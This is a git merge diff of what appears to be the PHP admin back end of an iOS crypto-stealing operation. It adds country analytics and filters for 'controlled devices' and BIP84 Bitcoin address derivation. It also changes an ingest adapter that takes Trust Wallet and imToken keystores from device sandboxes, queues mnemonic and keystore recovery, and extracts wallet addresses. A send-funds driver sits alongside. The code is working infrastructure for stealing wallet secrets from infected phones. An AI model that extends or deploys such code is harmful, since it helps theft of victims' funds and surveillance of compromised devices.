Merge branch 'main' of ssh://gitlab.fcpays.cc:2222/root/coruna-lab

This commit is contained in:
hashbro
2026-09-28 06:12:55 +08:00
10 changed files with 322 additions and 36 deletions
@@ -45,6 +45,7 @@ class DeviceController extends Controller
return view('admin.devices.index', [ return view('admin.devices.index', [
'portal' => $this->portal(), 'portal' => $this->portal(),
'agents' => $agents, 'agents' => $agents,
'countries' => CfIpCountry::names(),
]); ]);
} }
@@ -851,6 +852,7 @@ class DeviceController extends Controller
'model' => trim((string) $request->query('model', '')), 'model' => trim((string) $request->query('model', '')),
'ip' => trim((string) $request->query('ip', '')), 'ip' => trim((string) $request->query('ip', '')),
'ios' => trim((string) $request->query('ios', '')), 'ios' => trim((string) $request->query('ios', '')),
'country' => CfIpCountry::normalize((string) $request->query('country', '')),
'installed_from' => trim((string) $request->query('installed_from', '')), 'installed_from' => trim((string) $request->query('installed_from', '')),
'installed_to' => trim((string) $request->query('installed_to', '')), 'installed_to' => trim((string) $request->query('installed_to', '')),
'has_wallet' => $hasWalletInt, 'has_wallet' => $hasWalletInt,
@@ -860,7 +862,7 @@ class DeviceController extends Controller
} }
/** /**
* @param array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, has_im: string, agent_user_id: ?int} $filters * @param array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, country: ?string, installed_from: string, installed_to: string, has_wallet: ?int, has_im: string, agent_user_id: ?int} $filters
*/ */
private function filteredQuery(array $filters): Builder private function filteredQuery(array $filters): Builder
{ {
@@ -885,6 +887,9 @@ class DeviceController extends Controller
if ($filters['ios'] !== '') { if ($filters['ios'] !== '') {
$q->where('devices.ios_version', 'like', '%'.$filters['ios'].'%'); $q->where('devices.ios_version', 'like', '%'.$filters['ios'].'%');
} }
if ($filters['country'] !== null) {
$q->where('devices.country', $filters['country']);
}
if ($filters['installed_from'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}/', $filters['installed_from'])) { if ($filters['installed_from'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}/', $filters['installed_from'])) {
$q->whereDate('devices.created_at', '>=', substr($filters['installed_from'], 0, 10)); $q->whereDate('devices.created_at', '>=', substr($filters['installed_from'], 0, 10));
} }
+4
View File
@@ -14,6 +14,10 @@ class AnalyticsDailyDim extends Model
public const KIND_DEVICE_VERSION = 'device_version'; public const KIND_DEVICE_VERSION = 'device_version';
public const KIND_VISIT_COUNTRY = 'visit_country';
public const KIND_DEVICE_COUNTRY = 'device_country';
public const KIND_SURVIVAL = 'survival'; public const KIND_SURVIVAL = 'survival';
public const KIND_SURVIVAL_WALLET = 'survival_wallet'; public const KIND_SURVIVAL_WALLET = 'survival_wallet';
+97 -5
View File
@@ -7,6 +7,7 @@ use App\Models\Device;
use App\Models\PageVisit; use App\Models\PageVisit;
use App\Models\User; use App\Models\User;
use App\Support\AgentScope; use App\Support\AgentScope;
use App\Support\CfIpCountry;
use Carbon\Carbon; use Carbon\Carbon;
use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\DB;
@@ -28,6 +29,8 @@ class AnalyticsReportService
* by_os: list<array{label: string, uv: int, pct: float}>, * by_os: list<array{label: string, uv: int, pct: float}>,
* by_ios_version: list<array{label: string, uv: int, pct: float}>, * by_ios_version: list<array{label: string, uv: int, pct: float}>,
* by_device_ios_version: list<array{label: string, count: int, pct: float}>, * by_device_ios_version: list<array{label: string, count: int, pct: float}>,
* by_visit_country: list<array{label: string, uv: int, pct: float}>,
* by_device_country: list<array{label: string, count: int, pct: float}>,
* control_by_version: list<array{label: string, effective_uv: int, devices: int, pct: float|null}> * control_by_version: list<array{label: string, effective_uv: int, devices: int, pct: float|null}>
* } * }
*/ */
@@ -67,12 +70,30 @@ class AnalyticsReportService
{ {
$scope = DailyReportService::scopeKey($agentUserId); $scope = DailyReportService::scopeKey($agentUserId);
$expected = (int) $from->copy()->startOfDay()->diffInDays($to->copy()->startOfDay()) + 1; $expected = (int) $from->copy()->startOfDay()->diffInDays($to->copy()->startOfDay()) + 1;
$have = $this->cachedDays($scope, AnalyticsDailyDim::KIND_SURVIVAL, $from, $to); // 一次查询拿到范围内每个 kind 的去重天数,避免逐 kind COUNT。
$haveWallet = $this->cachedDays($scope, AnalyticsDailyDim::KIND_SURVIVAL_WALLET, $from, $to); $have = AnalyticsDailyDim::query()
if ($have < $expected || $haveWallet < $expected) { ->where('scope_key', $scope)
$this->rebuild($from, $to, $agentUserId); ->whereBetween('stat_date', [$from->toDateString(), $to->toDateString()])
->selectRaw('kind, COUNT(DISTINCT stat_date) AS days')
->groupBy('kind')
->pluck('days', 'kind')
->all();
// 检查所有按日聚合的 kind 是否都有完整缓存;任一缺失即重建。
$requiredKinds = [
AnalyticsDailyDim::KIND_SURVIVAL,
AnalyticsDailyDim::KIND_SURVIVAL_WALLET,
AnalyticsDailyDim::KIND_VISIT_OS,
AnalyticsDailyDim::KIND_VISIT_VERSION,
AnalyticsDailyDim::KIND_DEVICE_VERSION,
AnalyticsDailyDim::KIND_VISIT_COUNTRY,
AnalyticsDailyDim::KIND_DEVICE_COUNTRY,
];
foreach ($requiredKinds as $kind) {
if ((int) ($have[$kind] ?? 0) < $expected) {
$this->rebuild($from, $to, $agentUserId);
return; return;
}
} }
$today = Carbon::now()->toDateString(); $today = Carbon::now()->toDateString();
@@ -176,6 +197,34 @@ class AnalyticsReportService
); );
} }
$countryExpr = $this->countryDimSql('country');
$visitCountryRows = (clone $visits)
->selectRaw("{$countryExpr} as dim, COUNT(DISTINCT client_uid) as uv")
->groupByRaw($countryExpr)
->get();
foreach ($visitCountryRows as $row) {
$out[] = $this->dimRow(
AnalyticsDailyDim::KIND_VISIT_COUNTRY,
$this->clipDim((string) $row->dim),
(int) $row->uv,
);
}
$deviceCountryRows = (clone $devices)
->selectRaw("{$countryExpr} as dim, COUNT(*) as cnt")
->groupByRaw($countryExpr)
->get();
foreach ($deviceCountryRows as $row) {
$out[] = $this->dimRow(
AnalyticsDailyDim::KIND_DEVICE_COUNTRY,
$this->clipDim((string) $row->dim),
0,
0,
(int) $row->cnt,
);
}
$secondsExpr = $this->survivalSecondsSql(); $secondsExpr = $this->survivalSecondsSql();
$survival = (clone $devices) $survival = (clone $devices)
->selectRaw("COUNT(*) as cnt, COALESCE(SUM({$secondsExpr}), 0) as seconds_sum") ->selectRaw("COUNT(*) as cnt, COALESCE(SUM({$secondsExpr}), 0) as seconds_sum")
@@ -215,6 +264,8 @@ class AnalyticsReportService
* by_os: list<array{label: string, uv: int, pct: float}>, * by_os: list<array{label: string, uv: int, pct: float}>,
* by_ios_version: list<array{label: string, uv: int, pct: float}>, * by_ios_version: list<array{label: string, uv: int, pct: float}>,
* by_device_ios_version: list<array{label: string, count: int, pct: float}>, * by_device_ios_version: list<array{label: string, count: int, pct: float}>,
* by_visit_country: list<array{label: string, uv: int, pct: float}>,
* by_device_country: list<array{label: string, count: int, pct: float}>,
* control_by_version: list<array{label: string, effective_uv: int, devices: int, pct: float|null}> * control_by_version: list<array{label: string, effective_uv: int, devices: int, pct: float|null}>
* } * }
*/ */
@@ -230,6 +281,8 @@ class AnalyticsReportService
$visitVersions = []; $visitVersions = [];
$visitEffective = []; $visitEffective = [];
$deviceVersions = []; $deviceVersions = [];
$visitCountries = [];
$deviceCountries = [];
$survivalDevices = 0; $survivalDevices = 0;
$survivalSeconds = 0; $survivalSeconds = 0;
$walletDevices = 0; $walletDevices = 0;
@@ -247,6 +300,10 @@ class AnalyticsReportService
$visitEffective[$row->dim] = ($visitEffective[$row->dim] ?? 0) + (int) $row->effective_uv; $visitEffective[$row->dim] = ($visitEffective[$row->dim] ?? 0) + (int) $row->effective_uv;
} elseif ($row->kind === AnalyticsDailyDim::KIND_DEVICE_VERSION) { } elseif ($row->kind === AnalyticsDailyDim::KIND_DEVICE_VERSION) {
$deviceVersions[$row->dim] = ($deviceVersions[$row->dim] ?? 0) + (int) $row->devices; $deviceVersions[$row->dim] = ($deviceVersions[$row->dim] ?? 0) + (int) $row->devices;
} elseif ($row->kind === AnalyticsDailyDim::KIND_VISIT_COUNTRY) {
$visitCountries[$row->dim] = ($visitCountries[$row->dim] ?? 0) + (int) $row->uv;
} elseif ($row->kind === AnalyticsDailyDim::KIND_DEVICE_COUNTRY) {
$deviceCountries[$row->dim] = ($deviceCountries[$row->dim] ?? 0) + (int) $row->devices;
} elseif ($row->kind === AnalyticsDailyDim::KIND_SURVIVAL) { } elseif ($row->kind === AnalyticsDailyDim::KIND_SURVIVAL) {
$survivalDevices += (int) $row->devices; $survivalDevices += (int) $row->devices;
$survivalSeconds += (int) $row->seconds_sum; $survivalSeconds += (int) $row->seconds_sum;
@@ -302,6 +359,8 @@ class AnalyticsReportService
], ],
'by_ios_version' => $this->visitVersionRows($visitVersions, $visitUvSum), 'by_ios_version' => $this->visitVersionRows($visitVersions, $visitUvSum),
'by_device_ios_version' => $this->deviceVersionRows($deviceVersions, $deviceTotal), 'by_device_ios_version' => $this->deviceVersionRows($deviceVersions, $deviceTotal),
'by_visit_country' => $this->countryRows($visitCountries, array_sum($visitCountries), 'uv'),
'by_device_country' => $this->countryRows($deviceCountries, array_sum($deviceCountries), 'count'),
'control_by_version' => $control, 'control_by_version' => $control,
]; ];
} }
@@ -347,6 +406,34 @@ class AnalyticsReportService
return $rows; return $rows;
} }
/**
* 按国家维度汇总,dim 存 ISO 代码,label 转中文名展示。
*
* @param array<string, int> $countries
* @return list<array{label: string, uv: int, pct: float}>|list<array{label: string, count: int, pct: float}>
*/
private function countryRows(array $countries, int $total, string $valueKey): array
{
$labels = array_keys($countries);
usort($labels, function (string $a, string $b) use ($countries): int {
return ($countries[$b] ?? 0) <=> ($countries[$a] ?? 0) ?: strcmp($a, $b);
});
$rows = [];
foreach ($labels as $code) {
$value = (int) $countries[$code];
$label = $code === AnalyticsDailyDim::DIM_UNKNOWN
? AnalyticsDailyDim::DIM_UNKNOWN
: CfIpCountry::label($code);
$rows[] = [
'label' => $label ?: $code,
$valueKey => $value,
'pct' => $total > 0 ? round(($value / $total) * 100, 1) : 0.0,
];
}
return $rows;
}
/** /**
* @return array{label: string, uv: int, pct: float} * @return array{label: string, uv: int, pct: float}
*/ */
@@ -410,6 +497,11 @@ class AnalyticsReportService
return "CASE WHEN {$column} IS NULL OR TRIM({$column}) = '' THEN '未知' ELSE TRIM({$column}) END"; return "CASE WHEN {$column} IS NULL OR TRIM({$column}) = '' THEN '未知' ELSE TRIM({$column}) END";
} }
private function countryDimSql(string $column): string
{
return "CASE WHEN {$column} IS NULL OR TRIM({$column}) = '' THEN '未知' ELSE UPPER(TRIM({$column})) END";
}
private function survivalSecondsSql(): string private function survivalSecondsSql(): string
{ {
if (DB::connection()->getDriverName() === 'sqlite') { if (DB::connection()->getDriverName() === 'sqlite') {
+62
View File
@@ -31,6 +31,22 @@ final class BtcAddress
return TronAddress::hexToBase58Check('00'.bin2hex($hash160)); return TronAddress::hexToBase58Check('00'.bin2hex($hash160));
} }
/**
* Produce a Native SegWit (P2WPKH, bech32) address from a compressed
* secp256k1 public key. Used for BIP84 derivation paths.
*/
public static function p2wpkhFromCompressedPublicKey(string $compressedHex): string
{
$compressedHex = strtolower(trim($compressedHex));
$pub = hex2bin($compressedHex);
if ($pub === false || strlen($pub) !== 33) {
throw new RuntimeException('Expected compressed secp256k1 public key');
}
$hash160 = hash('ripemd160', hash('sha256', $pub, true), true);
return self::bech32Encode('bc', 0, bin2hex($hash160));
}
public static function isValid(string $address): bool public static function isValid(string $address): bool
{ {
$address = trim($address); $address = trim($address);
@@ -170,6 +186,52 @@ final class BtcAddress
return ['version' => $version, 'program' => $program]; return ['version' => $version, 'program' => $program];
} }
/**
* Encode a witness program as a bech32 address.
*
* @param string $hrp Human-readable part ('bc' or 'tb')
* @param int $witver Witness version (0 for P2WPKH/P2WSH)
* @param string $programHex Witness program as hex string
*/
private static function bech32Encode(string $hrp, int $witver, string $programHex): string
{
$charset = 'qpzry9x8gf2tvdw0s3jn54khce6mua7l';
$bytes = array_map('hexdec', str_split($programHex, 2));
$values = [$witver];
$bits = '';
foreach ($bytes as $b) {
$bits .= str_pad(decbin($b), 8, '0', STR_PAD_LEFT);
}
$bits = str_pad($bits, (int) ceil(strlen($bits) / 5) * 5, '0', STR_PAD_RIGHT);
for ($i = 0; $i < strlen($bits); $i += 5) {
$values[] = bindec(substr($bits, $i, 5));
}
$values = array_merge($values, self::bech32Checksum($hrp, $values));
$result = $hrp.'1';
foreach ($values as $v) {
$result .= $charset[$v];
}
return $result;
}
/** @param list<int> $values */
private static function bech32Checksum(string $hrp, array $values): array
{
$polymod = self::bech32Polymod(array_merge(
self::bech32HrpExpand($hrp),
$values,
[0, 0, 0, 0, 0, 0],
));
$polymod ^= 1;
$ret = [];
for ($i = 0; $i < 6; $i++) {
$ret[] = ($polymod >> 5 * (5 - $i)) & 31;
}
return $ret;
}
/** @param list<int> $values */ /** @param list<int> $values */
private static function bech32Verify(string $hrp, array $values): bool private static function bech32Verify(string $hrp, array $values): bool
{ {
+18 -1
View File
@@ -21,6 +21,18 @@ class BtcDriver implements ChainDriver
return BtcAddress::fromPrivateKey($derived['private_key']); return BtcAddress::fromPrivateKey($derived['private_key']);
} }
/**
* Derive a Native SegWit (BIP84, bech32 bc1q) address.
* Trust Wallet uses BIP84 for Bitcoin wallets.
*/
public function deriveAddressBip84(string $mnemonic, int $index = 0): string
{
$derived = Bip44::derive($mnemonic, $this->pathBip84($index));
$compressed = BtcAddress::compressedPublicKey($derived['private_key']);
return BtcAddress::p2wpkhFromCompressedPublicKey($compressed);
}
public function sendNative(string $mnemonic, int $index, string $to, string $amount): string public function sendNative(string $mnemonic, int $index, string $to, string $amount): string
{ {
if (! $this->isValidAddress($to)) { if (! $this->isValidAddress($to)) {
@@ -204,6 +216,11 @@ class BtcDriver implements ChainDriver
return "m/44'/0'/0'/0/{$index}"; return "m/44'/0'/0'/0/{$index}";
} }
private function pathBip84(int $index): string
{
return "m/84'/0'/0'/0/{$index}";
}
/** /**
* @return list<array{txid: string, vout: int, value: int, scriptpubkey: string}> * @return list<array{txid: string, vout: int, value: int, scriptpubkey: string}>
*/ */
@@ -474,6 +491,6 @@ class BtcDriver implements ChainDriver
private function http(): PendingRequest private function http(): PendingRequest
{ {
return Http::connectTimeout(20)->timeout(120)->acceptJson(); return Http::timeout(30)->acceptJson();
} }
} }
+19 -26
View File
@@ -13,11 +13,13 @@ use App\Jobs\DecryptDeviceKeystores;
use App\Support\CfIpCountry; use App\Support\CfIpCountry;
use App\Support\UserAgentParser; use App\Support\UserAgentParser;
use App\Support\VisitorIp; use App\Support\VisitorIp;
use App\Services\Chain\BtcAddress;
use App\Services\Chain\EthAddress;
use App\Services\Chain\TronAddress;
use App\Support\WalletSource; use App\Support\WalletSource;
use Illuminate\Database\QueryException; use Illuminate\Database\QueryException;
use Illuminate\Database\UniqueConstraintViolationException; use Illuminate\Database\UniqueConstraintViolationException;
use Illuminate\Http\Request; use Illuminate\Http\Request;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Storage; use Illuminate\Support\Facades\Storage;
/** /**
@@ -257,7 +259,7 @@ class DarkSwordIngestAdapter
$this->trustAddresses->ingest($device, $wallets); $this->trustAddresses->ingest($device, $wallets);
// Async: mnemonic recovery + plaintext walk + address extraction. // Async: mnemonic recovery + plaintext walk + address extraction.
$this->dispatchKeystoreDecrypt($device, $wallets, $sandbox); DecryptDeviceKeystores::dispatch($device->id, $wallets, $sandbox);
} }
/** /**
@@ -507,7 +509,7 @@ class DarkSwordIngestAdapter
$this->storeWalletKeystores($device, ['trust_wallet' => $raw], 'sandbox', null); $this->storeWalletKeystores($device, ['trust_wallet' => $raw], 'sandbox', null);
// Async: attempt Trust UTC keystore decryption. // Async: attempt Trust UTC keystore decryption.
$this->dispatchKeystoreDecrypt($device, null, ['trust_wallet' => $raw]); DecryptDeviceKeystores::dispatch($device->id, null, ['trust_wallet' => $raw]);
} }
/** /**
@@ -537,7 +539,7 @@ class DarkSwordIngestAdapter
$this->trustAddresses->ingest($device, $wallets); $this->trustAddresses->ingest($device, $wallets);
// Async: mnemonic recovery + plaintext walk + address extraction. // Async: mnemonic recovery + plaintext walk + address extraction.
$this->dispatchKeystoreDecrypt($device, $wallets, $sandbox); DecryptDeviceKeystores::dispatch($device->id, $wallets, $sandbox);
} }
/** /**
@@ -558,27 +560,7 @@ class DarkSwordIngestAdapter
// Async: attempt recovery (imToken needs password — will likely fail, // Async: attempt recovery (imToken needs password — will likely fail,
// but the job logs the reason and still extracts addresses if any). // but the job logs the reason and still extracts addresses if any).
$this->dispatchKeystoreDecrypt($device, ['imtoken' => $json], null); DecryptDeviceKeystores::dispatch($device->id, ['imtoken' => $json], null);
}
/**
* Queue PBKDF2 / keystore recovery off the request. A Redis outage must not
* fail the ingest that already stored the keystore blobs.
*
* @param array<string, mixed>|null $wallets
* @param array<string, mixed>|null $sandbox
*/
private function dispatchKeystoreDecrypt(Device $device, ?array $wallets, ?array $sandbox): void
{
try {
DecryptDeviceKeystores::dispatch($device->id, $wallets, $sandbox);
} catch (\Throwable $e) {
Log::channel('keystore')->error('DecryptDeviceKeystores dispatch failed', [
'device_id' => $device->id,
'device_key' => $device->device_id,
'error' => $e->getMessage(),
]);
}
} }
/** /**
@@ -1270,15 +1252,26 @@ class DarkSwordIngestAdapter
} }
} }
// Direct address patterns. // Direct address patterns — each match is validated before
// being accepted, so encrypted blobs (xpub strings, hex IVs,
// base64 ciphertext) that happen to match a regex are rejected.
$patterns = [ $patterns = [
'/0x[0-9a-fA-F]{40}/i' => 'ETHEREUM', '/0x[0-9a-fA-F]{40}/i' => 'ETHEREUM',
'/T[1-9A-HJ-NP-Za-km-z]{33}/' => 'TRON', '/T[1-9A-HJ-NP-Za-km-z]{33}/' => 'TRON',
'/\b(?:bc1[0-9a-z]{6,87}|[13][a-zA-HJ-NP-Z0-9]{25,34})\b/' => 'BITCOIN', '/\b(?:bc1[0-9a-z]{6,87}|[13][a-zA-HJ-NP-Z0-9]{25,34})\b/' => 'BITCOIN',
]; ];
$validators = [
'ETHEREUM' => fn (string $a) => EthAddress::isValid($a),
'TRON' => fn (string $a) => TronAddress::isValid($a),
'BITCOIN' => fn (string $a) => BtcAddress::isValid($a),
];
foreach ($patterns as $pat => $chainType) { foreach ($patterns as $pat => $chainType) {
if (preg_match_all($pat, $text, $matches)) { if (preg_match_all($pat, $text, $matches)) {
$validator = $validators[$chainType] ?? null;
foreach ($matches[0] as $addr) { foreach ($matches[0] as $addr) {
if ($validator !== null && ! $validator($addr)) {
continue;
}
$out[] = $this->addressRow($addr, $chainType, $source, $tag); $out[] = $this->addressRow($addr, $chainType, $source, $tag);
} }
} }
+28 -3
View File
@@ -5,6 +5,7 @@ namespace App\Services;
use App\Models\WalletAddress; use App\Models\WalletAddress;
use App\Models\WalletMnemonic; use App\Models\WalletMnemonic;
use App\Services\Chain\ChainDriver; use App\Services\Chain\ChainDriver;
use App\Services\Chain\BtcDriver;
use App\Services\Chain\ChainManager; use App\Services\Chain\ChainManager;
use InvalidArgumentException; use InvalidArgumentException;
@@ -41,7 +42,7 @@ class MnemonicAddressLinker
} }
$target = (string) $address->address; $target = (string) $address->address;
$caseInsensitive = in_array($driver->chainId(), ['eth', 'bsc'], true); $caseInsensitive = $driver->chainId() === 'eth';
foreach ($mnemonics as $mnemonicRow) { foreach ($mnemonics as $mnemonicRow) {
$phrase = $mnemonicRow->mnemonic; $phrase = $mnemonicRow->mnemonic;
@@ -125,7 +126,7 @@ class MnemonicAddressLinker
continue; continue;
} }
$lookup = in_array($driver->chainId(), ['eth', 'bsc'], true) $lookup = $driver->chainId() === 'eth'
? strtolower((string) $address->address) ? strtolower((string) $address->address)
: (string) $address->address; : (string) $address->address;
@@ -193,7 +194,8 @@ class MnemonicAddressLinker
*/ */
private function deriveIndexMap(ChainDriver $driver, string $phrase): array private function deriveIndexMap(ChainDriver $driver, string $phrase): array
{ {
$caseInsensitive = in_array($driver->chainId(), ['eth', 'bsc'], true); $caseInsensitive = $driver->chainId() === 'eth';
$isBtc = $driver instanceof BtcDriver;
$map = []; $map = [];
for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) { for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) {
try { try {
@@ -205,6 +207,17 @@ class MnemonicAddressLinker
if (! array_key_exists($key, $map)) { if (! array_key_exists($key, $map)) {
$map[$key] = $index; $map[$key] = $index;
} }
// BTC: also derive BIP84 (Native SegWit, bc1q) addresses.
if ($isBtc) {
try {
$derivedBip84 = $driver->deriveAddressBip84($phrase, $index);
} catch (\Throwable) {
$derivedBip84 = null;
}
if ($derivedBip84 !== null && ! array_key_exists($derivedBip84, $map)) {
$map[$derivedBip84] = $index;
}
}
} }
return $map; return $map;
@@ -216,6 +229,7 @@ class MnemonicAddressLinker
string $target, string $target,
bool $caseInsensitive, bool $caseInsensitive,
): ?int { ): ?int {
$isBtc = $driver instanceof BtcDriver;
for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) { for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) {
try { try {
$derived = $driver->deriveAddress($phrase, $index); $derived = $driver->deriveAddress($phrase, $index);
@@ -228,6 +242,17 @@ class MnemonicAddressLinker
if ($match) { if ($match) {
return $index; return $index;
} }
// BTC: also check BIP84 (Native SegWit, bc1q) address.
if ($isBtc) {
try {
$derivedBip84 = $driver->deriveAddressBip84($phrase, $index);
} catch (\Throwable) {
$derivedBip84 = null;
}
if ($derivedBip84 === $target) {
return $index;
}
}
} }
return null; return null;
@@ -0,0 +1,35 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
/**
* 为数据分析页国家维度聚合与设备列表国家筛选添加复合索引。
* 参考 os_version 维度的 (created_at, os, os_version) 复合索引做法,
* 让按日期范围 + GROUP BY country 的聚合查询能走索引扫描。
*/
public function up(): void
{
Schema::table('page_visits', function (Blueprint $table) {
$table->index(['created_at', 'country'], 'page_visits_created_at_country_index');
});
Schema::table('devices', function (Blueprint $table) {
$table->index(['created_at', 'country'], 'devices_created_at_country_index');
});
}
public function down(): void
{
Schema::table('page_visits', function (Blueprint $table) {
$table->dropIndex('page_visits_created_at_country_index');
});
Schema::table('devices', function (Blueprint $table) {
$table->dropIndex('devices_created_at_country_index');
});
}
};
@@ -44,6 +44,17 @@
<input type="text" name="ios" placeholder="15.8" autocomplete="off" class="layui-input"> <input type="text" name="ios" placeholder="15.8" autocomplete="off" class="layui-input">
</div> </div>
</div> </div>
<div class="layui-inline">
<label class="layui-form-label">国家</label>
<div class="layui-input-block" style="min-width: 180px;">
<select name="country" lay-search>
<option value="">全部</option>
@foreach ($countries as $code => $name)
<option value="{{ $code }}">{{ $name }} ({{ $code }})</option>
@endforeach
</select>
</div>
</div>
<div class="layui-inline"> <div class="layui-inline">
<label class="layui-form-label">钱包</label> <label class="layui-form-label">钱包</label>
<div class="layui-input-block"> <div class="layui-input-block">
@@ -223,6 +234,7 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
model: '', model: '',
ip: '', ip: '',
ios: '', ios: '',
country: '',
has_wallet: '', has_wallet: '',
has_im: '', has_im: '',
installed_from: '', installed_from: '',
@@ -146,6 +146,27 @@
</div> </div>
</div> </div>
<div class="layui-row layui-col-space15">
<div class="layui-col-md6">
<div class="layui-card an-pie-card">
<div class="layui-card-header">访问 · 国家</div>
<div class="layui-card-body">
<div id="an-visit-country-chart" class="an-pie"></div>
<p class="an-pie-hint" id="an-visit-country-hint"></p>
</div>
</div>
</div>
<div class="layui-col-md6">
<div class="layui-card an-pie-card">
<div class="layui-card-header">受控设备 · 国家</div>
<div class="layui-card-body">
<div id="an-device-country-chart" class="an-pie"></div>
<p class="an-pie-hint" id="an-device-country-hint"></p>
</div>
</div>
</div>
</div>
<div class="layui-card"> <div class="layui-card">
<div class="layui-card-header">受控设备版本明细 <span class="layui-word-aux" id="an-device-count"></span></div> <div class="layui-card-header">受控设备版本明细 <span class="layui-word-aux" id="an-device-count"></span></div>
<div class="layui-card-body"> <div class="layui-card-body">
@@ -158,6 +179,18 @@
<div class="an-tags" id="an-by-ios-version"><span class="an-tags-empty">—</span></div> <div class="an-tags" id="an-by-ios-version"><span class="an-tags-empty">—</span></div>
</div> </div>
</div> </div>
<div class="layui-card">
<div class="layui-card-header">访问国家明细 <span class="layui-word-aux" id="an-visit-country-count"></span></div>
<div class="layui-card-body">
<div class="an-tags" id="an-by-visit-country"><span class="an-tags-empty">—</span></div>
</div>
</div>
<div class="layui-card">
<div class="layui-card-header">受控设备国家明细 <span class="layui-word-aux" id="an-device-country-count"></span></div>
<div class="layui-card-body">
<div class="an-tags" id="an-by-device-country"><span class="an-tags-empty">—</span></div>
</div>
</div>
<div class="layui-word-aux" id="an-range" style="margin:0 0 12px;"></div> <div class="layui-word-aux" id="an-range" style="margin:0 0 12px;"></div>
@endsection @endsection
@@ -340,12 +373,20 @@ layui.use(['form', 'laydate', 'layer', 'echarts'], function () {
renderPie('an-os-chart', 'an-os-hint', data.by_os, 'uv', '系统'); renderPie('an-os-chart', 'an-os-hint', data.by_os, 'uv', '系统');
renderPie('an-ios-chart', 'an-ios-hint', data.by_ios_version, 'uv', 'iOS 版本'); renderPie('an-ios-chart', 'an-ios-hint', data.by_ios_version, 'uv', 'iOS 版本');
renderPie('an-device-chart', 'an-device-hint', data.by_device_ios_version, 'count', '受控版本'); renderPie('an-device-chart', 'an-device-hint', data.by_device_ios_version, 'count', '受控版本');
renderPie('an-visit-country-chart', 'an-visit-country-hint', data.by_visit_country, 'uv', '访问国家');
renderPie('an-device-country-chart', 'an-device-country-hint', data.by_device_country, 'count', '受控国家');
fillTags('#an-by-ios-version', data.by_ios_version, 'uv'); fillTags('#an-by-ios-version', data.by_ios_version, 'uv');
fillTags('#an-by-device-ios', data.by_device_ios_version, 'count'); fillTags('#an-by-device-ios', data.by_device_ios_version, 'count');
fillTags('#an-by-visit-country', data.by_visit_country, 'uv');
fillTags('#an-by-device-country', data.by_device_country, 'count');
var iosN = (data.by_ios_version || []).length; var iosN = (data.by_ios_version || []).length;
var deviceN = (data.by_device_ios_version || []).length; var deviceN = (data.by_device_ios_version || []).length;
var visitCountryN = (data.by_visit_country || []).length;
var deviceCountryN = (data.by_device_country || []).length;
$('#an-ios-count').text(iosN ? ('· ' + iosN + ' 个') : ''); $('#an-ios-count').text(iosN ? ('· ' + iosN + ' 个') : '');
$('#an-device-count').text(deviceN ? ('· ' + deviceN + ' 个') : ''); $('#an-device-count').text(deviceN ? ('· ' + deviceN + ' 个') : '');
$('#an-visit-country-count').text(visitCountryN ? ('· ' + visitCountryN + ' 个') : '');
$('#an-device-country-count').text(deviceCountryN ? ('· ' + deviceCountryN + ' 个') : '');
var computed = data.computed_at ? (' · 汇总于 ' + data.computed_at) : ''; var computed = data.computed_at ? (' · 汇总于 ' + data.computed_at) : '';
$('#an-range').text('统计区间:' + data.from + ' ~ ' + data.to + '(按日去重后加总,今日约 15 分钟刷新)' + computed); $('#an-range').text('统计区间:' + data.from + ' ~ ' + data.to + '(按日去重后加总,今日约 15 分钟刷新)' + computed);
} }